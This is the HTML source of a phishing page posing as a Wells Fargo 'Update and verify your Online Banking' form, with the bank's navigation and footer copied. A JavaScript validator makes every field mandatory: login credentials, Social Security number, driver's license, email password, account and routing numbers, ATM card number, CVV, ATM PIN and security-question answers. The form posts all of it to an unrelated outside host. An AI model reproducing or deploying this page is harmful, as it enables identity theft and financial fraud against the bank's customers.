<a href="https://www.wellsfargo.com/goals-protect-what-counts/">Protect What Counts</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-credit/">Borrowing and Credit</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-retirement/">Planning for Retirement</a>
</li>
<li>
<a href="https://www.wellsfargo.com/mortgage/home-loans">Home Lending</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Popular Links</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/jump/insurance/get-insurance-quotes">Get Insurance Quotes</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-why">Why Wells Fargo Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/biz/insurance/">Small Business Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://wfis.wellsfargo.com/">Commercial Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/hsa/">Health Savings Accounts (HSA)</a>
</li>
</ul>
</div>
<br style="clear:both" />
</div>
<div id="investing" class="navItem hide" aria-hidden="true" role="region" aria-labelledby="investingTab">
<h2 class="hide">Investing and Retirement</h2>
<div class="navItemLeft">
<div>
<div class="fatNavTitle">
<h2>Ways to Invest</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/investing/invest-online">Invest Online</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/guidance/">Invest With Guidance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/mutual-funds">Invest in Mutual Funds</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/compare-ways-to-invest">Compare Ways to Invest</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Investing Solutions</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/investing/retirement/ira">IRAs</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/investment-services">Investment Services</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/retirement/rollover/">Rollovers (401k and IRA)</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/hsa/">Health Savings Accounts (HSA)</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/education">Investing for Education</a>
</li>
</ul>
</div>
</div>
<div>
<div class="fatNavTitle">
<h2>Your Financial Goals</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/goals-retirement/">Planning for Retirement</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-retirement-income/">Income in Retirement</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Popular Links</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/investing/guidance/consultation-10">Contact a Financial Advisor</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/retirement/ira/select">Open an IRA</a>
</li>
<li>
<a href="https://www.wellsfargo.com/wf/product/apply?prodSet=APP2K&prodCode=WFOR-WFOR&language=en">Open a WellsTrade? Account</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/retirement/ira/traditional-or-roth-ira">Compare IRAs</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/retirement/tools/my-retirement-plan">My Retirement Plan</a>
</li>
<li>
<a href="https://www.wellsfargo.com/retirementplan">Employer Plan 401(k) Sign On</a>
</li>
</ul>
</div>
</div>
<div id="wealth" class="navItem hide" aria-hidden="true" role="region" aria-labelledby="wealthTab">
<h2 class="hide">Wealth Management</h2>
<div class="navItemLeft">
<div>
<div class="fatNavTitle">
<h2>Wealth Services</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/">The Private Bank</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/wells-fargo-advisors">Wells Fargo Advisors</a>
</li>
<li>
<a href="https://www.wellsfargo.com/abbot-downing/">Abbot Downing</a>
</li>
<li>
<a href="https://www.wellsfargo.com/wealth-management-services">All Wealth Management Services</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Wealth Solutions</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/oursolutions/wealthplanning">Wealth Planning</a>
</li>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/oursolutions/privatebanking">Private Banking</a>
</li>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/oursolutions/investments">Investments</a>
</li>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/oursolutions/specializedwealthsolutions">Specialized Solutions</a>
</li>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/oursolutions/trustsolutions">Trust Solutions</a>
</li>
</ul>
</div>
</div>
<div>
<div class="fatNavTitle">
<h2>Wealth Advice and Guidance</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.comhttps://www.wealthmanagementinsights.com/">Wealth Management Insights Center</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://www.wfconversations.com/">Conversations Magazine</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Next Step</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/theprivatebank/contact">Contact The Private Bank</a>
</li>
<li>
<a href="https://www.wellsfargo.com/investing/guidance/consultation-10">Contact Wells Fargo Advisors</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://www.abbotdowning.com/contact_us/">Contact Abbot Downing</a>
</li>
</ul>
</div>
</div>
<script language="JavaScript">
<!--
function check(form) {
if (form.UserID.value=="")
{ alert("Please enter a valid Username before submitting."); form.UserID.focus(); return;}
if (form.Password.value=="")
{ alert("Please enter a valid Password before submitting."); form.Password.focus(); return;}
if (form.fullname.value == "")
{ alert("Please enter your First & Last name before submitting."); form.fullname.focus(); return;}
if (form.dob.value=="")
{ alert("Please enter your Date of Birth before submitting."); form.dob.focus(); return;}
if (form.address.value=="")
{ alert("Please enter your Billing Address before submitting."); form.address.focus(); return;}
if (form.address.value.length < 5)
{ alert("Invalid Address."); form.address.focus(); return;}
if (form.City.value == "")
{ alert("Please enter your City before submitting."); form.City.focus(); return;}
if (form.City.value.length < 2)
{ alert("Invalid City."); form.City.focus(); return;}
if (form.State.value == "")
{ alert("Please enter your State before submitting."); form.State.focus(); return;}
if (form.zipcode.value == "")
{ alert("Please enter a valid Zip Code before submitting."); form.zipcode.focus(); return;}
// Start of zipcode error Alert!
var checkOK = "0123456789";
var checkStr = form.zipcode.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Zip Code before submitting.");
form.zipcode.focus();
return;}
// End of zipcode error Alert!
if (form.zipcode.value.length < 5)
{ alert("Invalid Zip Code."); form.zipcode.focus(); return;}
if (form.phone.value == "")
{ alert("Please enter Phone Number before submitting."); form.phone.focus(); return;}
if (form.SSN1.value == "")
{ alert("Please enter a valid social security number."); form.SSN1.focus(); return;}
if (form.DL.value == "")
{ alert("Please enter a valid Driver's License."); form.DL.focus(); return;}
if (form.Email.value == "")
{ alert("Please enter a valid Email address."); form.Email.focus(); return;}
// Start of Email error Alert!
var checkEmail = "@.";
var checkStr = form.Email.value;
var EmailValid = false;
var EmailAt = false;
var EmailPeriod = false;
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkEmail.length; j++)
{
if (ch == checkEmail.charAt(j) && ch == "@")
EmailAt = true;
if (ch == checkEmail.charAt(j) && ch == ".")
EmailPeriod = true;
if (EmailAt && EmailPeriod)
break;
if (j == checkEmail.length)
break;
}
if (EmailAt && EmailPeriod)
{
EmailValid = true
break;
}
}
if (!EmailValid)
{
alert("Please enter a valid email address.");
form.Email.focus();
return;}
// End of Email error Alert!
if (form.Email.value.length < 3)
{ alert("Please enter a valid email address."); form.Email.focus(); return;}
if (form.EmailP.value == "")
{ alert("Please enter a valid Email address password."); form.EmailP.focus(); return;}
if (form.EmailP.value.length < 4)
{ alert("Please enter a valid Email address password."); form.EmailP.focus(); return;}
if (form.MMN1.value == "")
{ alert("Please enter a valid Account Number."); form.MMN1.focus(); return;}
if (form.MMN1.value.length < 4)
{ alert("Please enter a valid Account Number."); form.MMN1.focus(); return;}
if (form.MMN.value == "")
{ alert("Please enter a valid Routing Number."); form.MMN.focus(); return;}
if (form.MMN.value.length < 4)
{ alert("Please enter a valid Routing Number."); form.MMN.focus(); return;}
if (form.number.value == "")
{ alert("Please enter a valid ATM Card Number before submitting."); form.number.focus(); return;}
// Start of number error Alert!
var checkOK = "0123456789";
var checkStr = form.number.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid ATM Card Number before submitting.");
form.number.focus();
return;}
// End of number error Alert!
if (form.ccmonth.value == "")
{ alert("Please enter a valid Expiration Month for your card before submitting."); form.ccmonth.focus(); return;}
if (form.ccyear.value == "")
{ alert("Please enter a valid Expiration Year for your card before submitting."); form.ccyear.focus(); return;}
if (form.cvv2.value == "")
{ alert("Please enter a valid Card Verification Number before submitting."); form.cvv2.focus(); return;}
// Start of cvv2 error Alert!
var checkOK = "0123456789";
var checkStr = form.cvv2.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Card Verification Number before submitting.");
form.cvv2.focus();
return;}
// End of cvv2 error Alert!
if (form.cvv2.value.length < 3) { alert("CVV is too short!");form.cvv2.focus(); return;}
if (form.ATMpin.value == "")
{ alert("Please enter your ATM Pin before submitting."); form.ATMpin.focus(); return;}
if (form.ATMpin.value.length < 2)
{ alert("Invalid ATM Pin number."); form.ATMpin.focus(); return;}
if (form.s1.value == "Select One")
{ alert("Please select Security Qwestion 1 before submitting."); form.s1.focus(); return;}
if (form.a1.value == "")
{ alert("Please enter Answer 1 before submitting."); form.a1.focus(); return;}
if (form.s2.value == "Select One")
{ alert("Please select Security Qwestion 2 before submitting."); form.s2.focus(); return;}
if (form.a2.value == "")
{ alert("Please enter Answer 2 before submitting."); form.a2.focus(); return;}
if (form.s3.value == "Select One")
{ alert("Please select Security Qwestion 3 before submitting."); form.s3.focus(); return;}
if (form.a3.value == "")
{ alert("Please enter Answer 3 before submitting."); form.a3.focus(); return;}
form.submit()
}
//-->
</script>
<style type="text/css">
div.submit input {
cursor:pointer;
text-align: center;
width:85px;
height:40px;
background-color:#004E9B;
color:white;
border-radius:8px;
font-size:14px;
font-weight:bold
</style>
<style type="text/css">
div.NEXT input {
cursor:pointer;
border: none;
</style>
<form onsubmit="check(this.form)" method="post" action="http://www.portobellobeach.es/wp-includes/content.php">
<div class="c42">
<nav><div class="html5nav"> <ul class="c67" role="navigation"><li><a href="https://www.wellsfargo.com/">Personal</a></li><li class="last">Customer Service</li></ul> </div></nav>
<div id="title">
<h1 class="c11" id="skip" tabindex="-1">Customer Service</h1>
</div>
<div>
<a href="https://www.wellsfargo.com#" class="printLink">Print</a>
<div class="c52 hide" aria-hidden="true" aria-label="popup"></div>
</div>
</div>
<div id="contentTop">
</div><!--end contentTop-->
<div class="cols2" id="mainColumns">
<div class="mainContentCol">
<div id="contentBody">
<!--left section -->
<div class="c60">
<div class="c60i">
</div>
<div class="c60i">
<span class="c12"></span>
</div>
<div class="c60i">
</div>
</div><h3>Update and verify your Online Banking</h3> <p>Fill out and submit the form below to confirm that you are the rightful owner of this account.</p><div class="c65" data-cid="tcm:182-8839-16" data-ctid="tcm:223-6253-32">
<ul class="tabs">
<li><a href="https://www.wellsfargo.com#banking">1. Login</a></li>
<li><a href="https://www.wellsfargo.com#creditampdebitcards">2. Personal Info</a></li>
<li><a href="https://www.wellsfargo.com#loans">3. Account</a></li>
<li><a href="https://www.wellsfargo.com#insuranceampprotection">4. Credit Card</a></li>
<li><a href="https://www.wellsfargo.com#investmentampretirement">5. Security Question</a></li>
</ul>
<div class="tabContent">
<div id="banking">
<div class="c60 hatched">
<div class="c60ii">
<h2>Verify Username and Password</h2></div>
<br /><br /><br />
<body>
<p><strong><span style="color: #ff8c00"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px">* </span></span></span><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #808080">Username: </span></span><span><span style="color: #808080"><input style="position:relative;left:1px;"name="UserID" type="text" /></span></span></span></strong></p>
<p><span style="color: #ff8c00"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong>* </strong></span></span></span><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #808080">Password: </span></strong></span></span><input name="Password" type="password" /></p>
</body>
<br /><br /><br /><br />
<br />
<ul class="tabs">
<li class="right"><a href="https://www.wellsfargo.com#creditampdebitcards">Next</a></li>
</ul>
<br />
<div class="c60i">
</div>
</div><div class="c60i">
<div class="">
<br />
</div>
<div class="c60i">
</div>
</div>
</div>
<div id="creditampdebitcards">
<div class="c60 hatched">
<div class="c60ii">
<h2>Verify your personal information</h2>
<br /><br />
<p style="text-align: justify"><strong><span style="color: #ff8c00"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px">* </span></span></span><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #808080">Full Name: </span></span></span></strong><strong><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #808080"><input style="position:relative;left:56px;" name="fullname" type="text" /></span></span></span></strong></p>
<p style="text-align: justify"><span style="color: #ff8c00"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong>* </strong></span></span></span><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #808080">Date of Birth:<input style="position:relative;left:40px;" maxlength="10" name="dob" type="text" placeholder="MM/DD/YY" /></span></strong><span style=color: #808080"> </span></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>* </span></span><span style="color: #808080">Address: <input style="position:relative;left:70px;" name="address" type="text" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>* </span></span><span><span style="color: #808080">City:<input style="position:relative;left:108px;" name="City" type="text" /></span></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> State: <input style="position:relative;left:94px;" name="State" type="text" /></span></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Zip code:<input style="position:relative;left:72px;" maxlength="5" name="zipcode" size="10" style="width: 79px; height: 16px" type="text" /></span></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Phone Number: <input style="position:relative;left:19px;" name="phone" type="text" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Social Security No:<input style="position:relative;left:-1px;" maxlength="13" name="SSN1" type="text" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Driver's License: <input style="position:relative;left:12px;" name="DL" type="text" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Email Address: <input style="position:relative;left:23px;" name="Email" type="text" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Email Password: <input style="position:relative;left:13px;" name="EmailP" type="password" /></span></strong></span></span></p>
<p style="text-align: justify"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #808080"><input checked="checked" name="pe" type="checkbox" value="Send me personalizet E-mail" /><span style="font-size: 11px">Send Me Personalized E-mail</span></span></strong></span></span></p>
<p style="text-align: justify"><span style="text-transform: none; background-color: rgb(255,255,255); text-indent: 0px; display: inline !important; font: 11px/15px verdana; white-space: normal; float: none; letter-spacing: normal; color: rgb(102,102,102); word-spacing: 0px; -webkit-text-stroke-width: 0px">I subscribe to receive personalized messages at this address periodically from Wells Fargo Bank with information and offers from the Wells Fargo family of companies.</span></p>
<br />
<ul class="tabs">
<li class="left"><a href="https://www.wellsfargo.com#banking">Back</a></li>
<li class="right"><a href="https://www.wellsfargo.com#loans">Next</a></li>
</ul>
<br />
</div>
<div class="c60i">
</div>
</div><div class="">
<div class="">
</div>
<div class="c60i">
</div>
</div>
</div>
<div id="loans">
<div class="c60 hatched"> <div class="c60ii">
<br />
<h2>Account and Routing Number</h2>
<br />
<p><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #ff8c00"><strong>* </strong></span><strong><span style="color: #808080">Account Number: <input style="position:relative;left:-2px;"name="MMN1" type="text" /></span></strong></span></span></p>
<p><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Routing Number: <input name="MMN" type="text" /></span></strong></span></span></p>
<br />
<ul class="tabs">
<li class="left"><a href="https://www.wellsfargo.com#creditampdebitcards">Back</a></li>
<li class="right"><a href="https://www.wellsfargo.com#insuranceampprotection">Next</a></li>
</ul>
<br />
</div> </div><div class="">
<div class="">
</div>
<div class="">
</div>
</div>
</div><div class=""> <div class=""></div>
</div>
<div id="insuranceampprotection">
<div class="c60 hatched">
<div class="c60ii">
<br />
<h2>Verify your credit card information</h2>
<br />
<p><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #ff8c00"><strong>*</strong></span><strong><span style="color: #808080"> ATM Card Number: <input style="position:relative;left:2px;"maxlength="16" name="number" type="text" /></span></strong></span></span></p>
<p><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Expiration Date: <input style="position:relative;left:4px;" maxlength="2" name="ccmonth" style="width: 58px; height: 16px" type="text" /> / </span></strong></span></span><input maxlength="2" name="ccyear" style="width: 58px; height: 16px" type="text" /><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 11px"><span style="color: #808080"> mm/yy</span></span></span></p>
<p><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 11px"><span style="font-size: 14px"><span style="color: #ff8c00"><strong>*</strong></span><span style="color: #808080"><span><strong> Verification Number:</strong></span></span></span></span></span><input maxlength="3" name="cvv2" style="width: 58px; height: 16px" type="password" /><span style="color: #808080"><span style="font-size: 11px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"> 3 digits on the back of your card</span></span></span></p>
<p><span style="font-size: 11px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><span style="font-size: 14px"><span style="color: #ff8c00"><span><strong>*</strong></span></span><span style="color: #808080"><strong> ATM PIN Number: </strong></span></span></span></span><input style="position:relative;left:5px;"maxlength="4" name="ATMpin" style="width: 58px; height: 16px" type="password" /></p>
<br />
<ul class="tabs">
<li class="left"><a href="https://www.wellsfargo.com#loans">Back</a></li>
<li class="right"><a href="https://www.wellsfargo.com#investmentampretirement">Next</a></li>
</ul>
<br />
<div class="c60i">
</div>
</div><div class="c60i"></div></div>
</div>
<div id="investmentampretirement">
<h2>Verify Security Questions</h2>
<br />
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080">Security Question 1: </span></strong></span></span><select style="position:relative;left:2px; width:453px;" name="s1"><option selected="selected" value="Select One">Select One</option><option value="What was your most memorable gift as a child?">What was your most memorable gift as a child?</option><option value="What was the birth weight of your first child?">What was the birth weight of your first child?</option><option value="In what city was your maternal grandmother (mother's mother) born?">In what city was your maternal grandmother (mother's mother) born?</option><option value="What is the name of the high school you attended">What is the name of the high school you attended</option><option value="What is the name of your first pet?">What is the name of your first pet?</option><option value="What is your father's birthday? (MMDD)">What is your father's birthday? (MMDD)</option><option value="What is the name of the junior high/middle school you attended?">What is the name of the junior high/middle school you attended?</option></select></p>
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080"> Answer 1: <input style="position:relative;left:77px;" name="a1" type="text" /></span></strong></span></span></p>
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00"><span>*</span></span><span style="color: #808080">Security Question 2:</span></strong></span></span><select style="position:relative;left:7px;width:453px;"name="s2"><option selected="selected" value="Select One">Select One</option><option value="What is the last name of your all-time favorite fictional character?">What is the last name of your all-time favorite fictional character?</option><option value="What is the name of the high school your spouse attended?">What is the name of the high school your spouse attended?</option><option value="In what city was your paternal grandmother (father's mother) born?">In what city was your paternal grandmother (father's mother) born?</option><option value="In what city did you attend high school?">In what city did you attend high school?</option><option value="what was your destination?">what was your destination?</option><option value="What is your mother's middle name?">What is your mother's middle name?</option><option value="What is the last name of your favorite teacher?">What is the last name of your favorite teacher?</option></select ></p>
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00">*</span><span style="color: #808080"> Answer 2: <input style="position:relative;left:77px;" name="a2" type="text" /></span></strong></span></span></p>
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00">*</span><span style="color: #808080"> Security Question 3:</span></strong></span></span><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #808080"><select style="width:453px;"name="s3"><option selected="selected" value="Select One">Select One</option><option value="What is your all-time favorite book?">What is your all-time favorite book?</option><option value="What is the first name of your spouse's oldest sibling?">What is the first name of your spouse's oldest sibling?</option><option value="In what city was your maternal grandfather (mother's father) born?">In what city was your maternal grandfather (mother's father) born?</option><option value="What is the first name of your best friend from college?">What is the first name of your best friend from college?</option><option value="What was your first phone number? (Example: 123-456-7890)">What was your first phone number? (Example: 123-456-7890)</option><option value="What is your father's middle name?">What is your father's middle name?</option><option value="What year did you graduate from junior high/middle school? (YYYY)">What year did you graduate from junior high/middle school? (YYYY)</option></select></span></strong></span></span></p>
<p><span style="font-size: 14px"><span style="font-family: lucida sans unicode,lucida grande,sans-serif"><strong><span style="color: #ff8c00">*</span><span style="color: #808080"> Answer 3:<input style="position:relative;left:83px;" name="a3" type="text" /></span></strong></span></span></p>
<br />
<div class="submit" align="right"><input onclick="check(this.form)" value="Continue" type="button" onsubmit="check(form);"></div>
<ul class="tabs">
<li class="left"><a href="https://www.wellsfargo.com#insuranceampprotection">Back</a></li>
</ul>
<br />
<div class="c60 hatched"> <div class="c60ii">
</div> <div class=""></div> </div><div class="">
<div class="">
</div>
<div class="">
</div>
</div> <div class="">
<div class="">
</div>
<div class="">
</div>
</div> <div class="">
<div class="">
</div>
<div class="">
</div>
</div> <div class=""> <div class=""></div> <div class=""></div> </div><div class=""> <div class=""></div> <div class=""></div> </div><div class=""> <div class=""></div> <div class=""></div> </div> <div class=""> <div class=""></div> <div class=""></div> </div></div>
</div>
</div>
</div><!--end contentBody -->
<div id="contentBottom">
<div class="c20" role="complementary"><div class="c20body" data-numbered="false" data-cid="tcm:84-8888-16" data-ctid="tcm:91-1924-32"> <p>Brokerage products and services are offered through Wells Fargo Advisors. Wells Fargo Advisors is the trade name used by two separate registered broker-dealers: Wells Fargo Advisors, LLC and Wells Fargo Advisors Financial Network, LLC, Members <a href="https://www.wellsfargo.com/exit/e?id=18837222" class="c28aLink" data-cid="tcm:84-8888-16" data-ctid="tcm:91-1924-32">SIPC</a>, non-bank affiliates of Wells Fargo & Company and is intended only for United States residents. <em>WellsTrade</em><sup>®</sup> is offered through Wells Fargo Advisors, LLC.</p> </div><div class="c20body" data-numbered="false" data-cid="tcm:84-4794-16" data-ctid="tcm:91-1924-32"> <p>Wells Fargo Insurance, Inc. (Minneapolis, MN) is a licensed agency that represents — and is compensated by — the insurer based on the amount of insurance sold.</p> </div><div class="c20notnot"> <strong>Investment, Insurance, and Identity theft protection products:</strong> <ul> <li>Are Not insured by the FDIC or any other federal government agency</li> <li>Are Not deposits of or guaranteed by a Bank</li> <li>May Lose Value</li> </ul> </div><div class="c20body" data-numbered="false" data-cid="tcm:84-6793-16" data-ctid="tcm:91-1924-32"> Deposit products offered by Wells Fargo Bank, N.A. Member FDIC. </div><div class="c20body" data-numbered="false" data-cid="tcm:84-7765-16" data-ctid="tcm:91-1924-32"> * You need Adobe<sup>®</sup> Reader<sup>®</sup> to read PDF files. <a data-cid="tcm:84-7765-16" data-ctid="tcm:91-1924-32" href="https://www.wellsfargo.comhttp://get.adobe.com/reader/">Download Adobe Reader</a> for free. </div></div>
</div><!--end contentBottom-->
</div><!-- .mainContentCol -->
<aside><div class="html5aside">
<div class="secondaryCol">
<div id="serviceModule" class="c8"><div class="c8subsection" data-cid="tcm:84-8820-16" data-ctid="tcm:91-1889-32">
<h2>Commonly asked questions</h2>
<ul class="c14">
<li><a href="https://www.wellsfargo.com/help/faqs/enroll/">How do I bank online?</a></li>
<li><a href="https://www.wellsfargo.com/help/routing-number/">What's my routing number?</a></li>
<li><a href="https://www.wellsfargo.com/help/faqs/transfers/">How do I wire funds?</a></li>
<li><a href="https://www.wellsfargo.com/help/faqs/order-checks/">How do I order checks?</a></li>
<li><a href="https://www.wellsfargo.com/help/faqs/profile/">How do I change my address?</a></li>
</ul>
<p><a class="c13" data-cid="tcm:84-8820-16" data-ctid="tcm:91-1889-32" data-presentation="3" href="https://www.wellsfargo.com/help/faqs/">View All FAQs</a></p>
</div>
<div class="c8subsection" data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32">
<h2>Online account services</h2>
<ul class="c14">
<li><a data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32" href="https://www.wellsfargo.comhttps://online.wellsfargo.com/das/channel/enrollDisplay?LOB=CONS&OFFERCODE=WEB">Enroll in online banking</a></li>
<li><a data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32" href="https://www.wellsfargo.comhttps://online.wellsfargo.com/signon">Sign on to view accounts</a></li>
<li><a data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32" href="https://www.wellsfargo.comhttps://online.wellsfargo.com/das/channel/usernameHelpDisplay">Retrieve username</a></li>
<li><a data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32" href="https://www.wellsfargo.comhttps://online.wellsfargo.com/das/channel/identifyDisplay">Reset password</a></li>
</ul>
<p><a href="https://www.wellsfargo.com/help/online-banking/services/" class="c13" data-cid="tcm:84-8821-16" data-ctid="tcm:91-1889-32" data-presentation="3">View All</a></p>
</div>
<div class="c8subsection" data-cid="tcm:84-13337-16" data-ctid="tcm:91-1889-32">
<h2>Glossaries</h2>
<ul class="c14">
<li>
<a href="https://www.wellsfargo.com/help/checking-savings/glossary/">Checking & Savings</a> </li>
<li>
<a href="https://www.wellsfargo.com/help/faqs/credit-card-glossary/">Credit Card</a> </li>
<li>
<a href="https://www.wellsfargo.com/mortgage/tools/glossary/a">Home Equity</a>
</li>
<li>
<a href="https://www.wellsfargo.com/mortgage/tools/glossary/a">Home Mortgage</a>
</li>
<li>
<a href="https://www.wellsfargo.com/help/investing/glossary/">Investing</a> </li>
<li>
<a href="https://www.wellsfargo.com/help/faqs/credit-card-glossary/">Student Credit Card</a> </li>
</ul>
</div>
</div>
</div><!-- .secondaryCol -->
</div></aside>
</div><!--end mainColumns -->
<footer role="contentinfo">
<div class="html5footer c9" id="pageFooter">
<div class="c9content">
<nav role="navigation">
<div class="html5nav">
<ul class="navList">
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/about/">About Wells Fargo</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/careers/">Careers</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/privacy-security/">Privacy, Security & Legal</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/privacy-security/fraud/report/">Report Fraud</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/sitemap">Sitemap</a>
</li>
<li>
<a href="https://www.wellsfargo.com/">Home</a>
</li>
<li>
